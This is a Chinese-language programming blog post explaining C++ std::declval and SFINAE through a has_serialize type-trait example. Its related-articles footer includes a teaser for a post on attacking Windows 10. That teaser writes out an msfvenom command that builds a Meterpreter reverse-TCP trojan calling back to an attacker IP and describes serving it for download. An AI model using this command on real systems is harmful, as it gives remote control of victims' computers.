C++模板元編程--函數萃取

在C++中,std::declval是一個非常有用的模板函數,它是標準庫<utility>頭文件的一部分。它的主要作用是在不創建對象的情況下,獲取該類型的引用,從而允許在編譯時表達式中使用該類型的成員函數或成員變量,即使沒有默認構造函數也可以。這在模板編程和類型萃取(type traits)中尤其有用,特別是在編寫依賴于SFINAE(Substitution Failure Is Not An Error)的代碼時。

語法

template< class T >
add_rvalue_reference<T>::type declval() noexcept;

std::declval通常用于decltype中,以獲取表達式的類型,而不實際執行代碼。它僅用于編譯時類型推導,不能用于運行時表達式。

使用場景

  • 類型萃取(Type Traits):當你需要在編譯時檢查一個類型是否具有某個成員函數或屬性,但又不想(或不能)創建該類型的實例時。
  • SFINAE(Substitution Failure Is Not An Error):在模板元編程中,通過std::declval使得某些模板僅在特定條件下才被編譯器選擇。

讓我們通過一個具體的例子來展示std::declval的使用場景。假設我們想編寫一個類型萃取(type trait),用于檢測一個類是否定義了一個名為serialize的成員函數。這個成員函數的原型為std::string serialize() const。使用std::declval可以讓我們在不實例化對象的情況下進行這種檢測。

示例代碼

首先,是我們的類型萃取模板的定義:

#include <type_traits>
#include <string>
#include <utility>// 聲明一個類型萃取模板,檢查是否存在serialize成員函數
template<typename, typename = std::void_t<>>
struct has_serialize : std::false_type {};  // 默認情況下,認為不存在// 部分特化,當serialize成員函數存在時
template<typename T>
struct has_serialize<T, std::void_t<decltype(std::declval<T>().serialize())>> : std::true_type {};// 測試類
class MyClassWithSerialize {
public:std::string serialize() const {return "Serialized Data";}
};class MyClassWithoutSerialize {// 沒有serialize成員函數
};int main() {static_assert(has_serialize<MyClassWithSerialize>::value, "MyClassWithSerialize should have serialize");static_assert(!has_serialize<MyClassWithoutSerialize>::value, "MyClassWithoutSerialize should not have serialize");
}

在這個例子中,has_serialize是一個基于SFINAE原則的類型萃取模板。它嘗試使用std::declval<T>().serialize()來檢查類型T是否有一個serialize成員函數。如果這個表達式合法,那么decltype將會成功推導出類型,然后匹配到第二個模板特化版本,從而使has_serialize<T>::valuetrue。如果不合法,因為SFINAE,編譯器將會忽略引發錯誤的特化版本,并回退到基礎模板,使得valuefalse

注意,在這個代碼中,std::declval是必需的,因為我們沒有T的實例,而我們仍然需要表達式來檢查類型T是否有一個serialize成員函數。std::declval允許我們在完全不構造T的實例的情況下,"假設"我們有一個T的實例,從而可以對它進行成員函數的調用嘗試。

這個技術廣泛應用于模板元編程和編譯時類型檢查中,使得C++程序能夠根據類型的能力在編譯時做出決策,從而編寫出更通用、更靈活的代碼。

注意事項

  • std::declval僅在編譯時使用,不能用于生成可執行代碼中的表達式。
  • 它通常用在decltype中,或作為SFINAE表達式的一部分。
  • std::declval默認產生一個右值引用類型,但可以通過引用修飾符改變為左值引用。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18423.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18423.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18423.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一個元素。 比如你輸入一個列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引該列表最后一個值&#xff0c;你可以 b a[-1] print(b) 結果如下&#xff1a; 7 索引從左往右是…

P9712 「QFOI R1」貼貼

「QFOI R1」貼貼 題目描述 小 R 是一個可愛的女孩子&#xff0c;她希望通過給洛谷題目寫題解的方式跟出題人貼貼。 她發現&#xff0c;如果從題解界面點擊“提交題解”按鈕&#xff0c;博客中會自動生成 URL 標識符&#xff0c;也就是文章的鏈接。 其中&#xff0c;標識符的…

GB/T 33133.2-2021 《信息安全技術 祖沖之序列密碼算法 第2部分:保密性算法》標準介紹

編寫背景 在數字化時代&#xff0c;信息安全的重要性日益凸顯。為了加強數據傳輸和存儲的安全性&#xff0c;中國國家標準GB/T 33133.2-2021應運而生。這一標準是祖沖之序列密碼算法系列的第二部分&#xff0c;專注于保密性算法&#xff0c;旨在提供一種高效、安全的數據加密解…

升級鴻蒙4.2新變化,新增 WLAN 網絡自動連接開關!

手機已經成為現代人生活中不可或缺的一部分&#xff0c;手機里的功能可以滿足大部分人的生活場景&#xff0c;但是最依賴的應該就是手機網絡&#xff0c;手機網絡突然變差怎么辦——消息發不出去&#xff1f;刷新聞速度變慢&#xff1f;仔細檢查后&#xff0c;發現其實不是手機…

什么是邊緣計算?它為何如此重要?天拓四方

隨著信息技術的快速發展&#xff0c;數據處理和計算的需求日益增大&#xff0c;特別是在實時性要求極高的場景中&#xff0c;傳統的云計算模式面臨著巨大的挑戰。在這樣的背景下&#xff0c;邊緣計算作為一種新興的計算模式&#xff0c;正逐漸受到業界的廣泛關注。那么&#xf…

msfconsole攻擊win10及簡陋版

kali 攻擊機IP 192.168.1.19 win10 肉雞 192.168.1.15 使用 msfvenom 生成木馬 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下來把木馬復制到 /var/www/html下 開啟 service apache2 start 即可下載&#xff0c;需要做…

python數據分析——分組操作1

參考資料&#xff1a;活用pandas庫 1、簡介 借助“分割-應用-組合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分組操作可以有效地聚合、轉換和過濾數據。 分割&#xff1a;基于鍵&#xff0c;把要處理的數據分割為小片段。 應用&#xff1a;分別處理每個數…

Linux shell編程學習筆記51: cat /proc/cpuinfo:查看CPU詳細信息

0 前言 2024年的網絡安全檢查又開始了&#xff0c;對于使用基于Linux的國產電腦&#xff0c;我們可以編寫一個腳本來收集系統的有關信息。對于中央處理器CPU比如&#xff0c;我們可以使用cat /proc/cpuinfo命令來收集中央處理器CPU的信息。 1. /proc/cpuinfo 保存了系統的cpu…

樹莓派開箱

1.樹莓派4B配置 CPU&#xff1a;64位1.5GHZ四核處理器。 GPU:Broadcom VideoCore VI500MHZ 藍牙5.0 電源Type C(5V 3A),也可以使用排針鏈接5V鋰電池最大放電電流必須達到3A。 還有千兆以太網等以后用到再說。 接下來進入文章重點 2.鏡像文件燒錄 前期準備&#xff1a;1…

「TypeScript系列」TypeScript 命名空間

文章目錄 一、TypeScript 命名空間1. 使用命名空間2. 命名空間與模塊的區別3. 總結 二、命名空間使用場景1. 防止命名沖突2. 組織和管理代碼3. 兼容其他庫或框架4. 大型項目中封裝功能模塊5. 總結 三、命名空間有哪些優缺點1. 優點&#xff1a;2. 缺點&#xff1a; 四、相關鏈接…

AI賦能數字人:打造與語音節奏完美匹配的高質量手勢動畫

在數字化時代,人機交互正以前所未有的速度進化,而AI數字人的發展正是這一進程中的重要里程碑。近期,一項旨在根據語音內容自動生成匹配手勢的技術方案引起了廣泛關注,該技術不僅增強了數字人的表現力,也為遠程溝通、教育、娛樂等多個領域帶來了革新性的應用潛力。本文將深…

【leetcode1944--隊列中可以看到的人數】

有n人排成一個隊列&#xff0c;從左到右編號為0到n-1&#xff0c;height數組記錄每個人的身高&#xff0c;返回一個數組&#xff0c;記錄每個人能看到幾個人。 類比&#xff1a;山峰問題&#xff0c;高的后面的矮的看不見。 從后往前&#xff0c;最后一個元素入棧&#xff0c…

Apifox 更新|編排模式、Markdown 編輯器升級、自動申請 SSL 證書、用戶反饋問題優化

Apifox 新版本上線啦&#xff01; 看看本次版本更新主要涵蓋的重點內容&#xff0c;有沒有你所關注的功能特性&#xff1a; 自動化測試新增「編排模式」Markdown 編輯器全新升級返回響應直接預覽 PDF 及視頻自動申請 SSL 證書支持配置自定義域名的子目錄流式接口支持篩選和清…

Canny算子

Canny算子_百度百科 (baidu.com)https://baike.baidu.com/item/Canny%E7%AE%97%E5%AD%90/8821789?frge_ala 圖像處理中最經典的邊沿檢測算法&#xff1a; Canny邊緣檢測_嗶哩嗶哩_bilibilihttps://www.bilibili.com/video/BV1U4411277i/?spm_id_from333.1007.top_right_bar_…

基于模糊PID控制器的汽車電磁懸架控制系統simulink建模與仿真

目錄 1.課題概述 2.系統仿真結果 3.核心程序與模型 4.系統原理簡介 5.完整工程文件 1.課題概述 基于模糊PID控制器的汽車電磁懸架控制系統simulink建模與仿真。 2.系統仿真結果 上面的仿真結果是無控制器和LQG的對比&#xff0c;以及有控制器和LQG的對比仿真。 3.核心程…

win10桌面右鍵-新建文件夾-死機-修復

死機->任務管理器->重新啟動 任務管理器&#xff1a;重新啟動“文件資源管理器”或者關閉“文件資源管理器” 快捷鍵&#xff1a;CtrlAltEsc 關閉后桌面黑屏重新啟動&#xff1a;文件->運行新任務->輸入 explorer ->確定 死機-> 事件查看器->排查錯誤 …

Qt串口異步通信案例(從機線程)

文章目錄 串口線程類初始化串口類打開串口并發送數據析構函數 窗口設置窗口函數實現 串口線程類 SlaveThread&#xff08;從機線程&#xff09; 目的&#xff1a;等待并響應來自主機的請求&#xff0c;然后發送預設的響應數據。 關鍵行為&#xff1a;線程啟動后&#xff0c;通過…

STL庫--string

目錄 string的定義 string中內存的訪問 string常用函數實例解析 string的定義 定義string的方式跟基本類型相同&#xff0c;只需要在string后跟上變量名即可&#xff1a; string str; 如果要初始化&#xff0c;可以直接給string類型的變量進行賦值&#xff1a; string s…

Vue3+vite項目中使用mock模擬接口

安裝依賴 分別安裝vite-plugin-mock跟mockjs兩個插件 npm install -D vite-plugin-mock mockjs vite.config.ts中添加配置&#xff0c;主要是紅色標記的配置 注意此處如果配置出錯可能是vite-plugin-mock依賴的版本有問題&#xff0c;重新安裝一下依賴指定版本即可&#xf…

Pytorch環境配置2.0.1+ Cuda11.7

查找cuda、cudnn、Pytorch(GPU)及cuda和NVIDIA顯卡驅動對應關系 查詢可支持的最高cuda版本 nvidia-smi查看支持的cuda的版本 CUDA版本對應表 我的顯卡驅動是Driver Version&#xff1a;535.40.&#xff0c;那么左邊對應的CUDA都可以兼容 右上角為CUDA 版本&#xff0c;可以看…